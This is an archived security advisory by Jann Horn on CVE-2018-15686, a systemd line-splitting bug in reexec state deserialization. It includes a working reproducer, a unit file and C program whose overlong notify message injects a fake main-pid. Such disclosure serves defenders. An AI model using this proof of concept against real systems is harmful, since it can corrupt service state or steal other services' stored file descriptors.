exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux systemd Line Splitting

Linux systemd Line Splitting
Posted Oct 26, 2018
Authored by Jann Horn, Google Security Research

Linux has an issue with systemd where overlong input to fgets() during reexec state injection can lead to line splitting.

tags | exploit
systems | linux
advisories | CVE-2018-15686
SHA-256 | 440ee81db71b86c228b05c447f6dbf1f3757cd7acd272aee23964553ff0bf0b2

Linux systemd Line Splitting

Change Mirror Download
systemd: reexec state injection: fgets() on overlong lines leads to line splitting 

CVE-2018-15686


[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
<a href="https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports" title="" class="" rel="nofollow">https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports</a>
.]

When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character
injection.

Lines associated with a systemd unit are read in unit_deserialize()
using fgets():

char line[LINE_MAX], *l, *v;
[...]
if (!fgets(line, sizeof(line), f)) {
if (feof(f))
return 0;
return -errno;
}

LINE_MAX is 2048:

/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048


When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.

A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
"status-text".
Status messages that are sent to systemd are received by
manager_dispatch_notify_fd(). This function has a receive buffer of
size NOTIFY_BUFFER_MAX==PIPE_BUF==4096.

Therefore, a service with `NotifyAccess != none` can trigger this bug.


Reproducer:

Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/system/notify_test.service (assuming that your
home directory is /home/user):

=========
[Unit]
Description=jannh test service for systemd notifications

[Service]
Type=simple
NotifyAccess=all
FileDescriptorStoreMax=100
User=user
ExecStart=/home/user/test_service
Restart=always

[Install]
WantedBy=multi-user.target
=========

Create a small binary that sends an overlong status when it starts up:

=========
user@ubuntu-18-04-vm:~$ cat test_service.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>

int main(void) {
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/systemd/notify"
};
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");

char message[0x2000] = "STATUS=";
memset(message+7, 'X', 2048-1-12);
strcat(message, "main-pid=13371337");
struct iovec iov = {
.iov_base = message,
.iov_len = strlen(message)
};
union {
struct cmsghdr cmsghdr;
char buf[CMSG_SPACE(sizeof(struct ucred))];
} control = { .cmsghdr = {
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_CREDENTIALS,
.cmsg_len = CMSG_LEN(sizeof(struct ucred))
}};
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr)));
ucred->pid = getpid();
ucred->uid = getuid();
ucred->gid = getgid();
struct msghdr msghdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = &control,
.msg_controllen = sizeof(control)
};
if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");

while (1) pause();
}
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c
user@ubuntu-18-04-vm:~$
=========

Install the service, and start it. Then run strace against systemd,
and run:

=========
root@ubuntu-18-04-vm:~# systemctl daemon-reexec
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service
=========

The "stop" command hangs, and you'll see the following in strace:

=========
root@ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337
openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
kill(13371337, SIG_0) = -1 ESRCH (No such process)
kill(13371337, SIGTERM) = -1 ESRCH (No such process)
=========

This demonstrates that systemd's representation of the service's PID
was clobbered by the status message.


This can in theory, depending on how the active services are
configured and some other things, also be used to e.g. steal file
descriptors that other services have stored in systemd (visible in
the serialized representation as "fd-store-fd").

This isn't the only place in systemd that uses fgets(); other uses of
fgets() should probably also be audited and potentially replaced with
a safer function.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close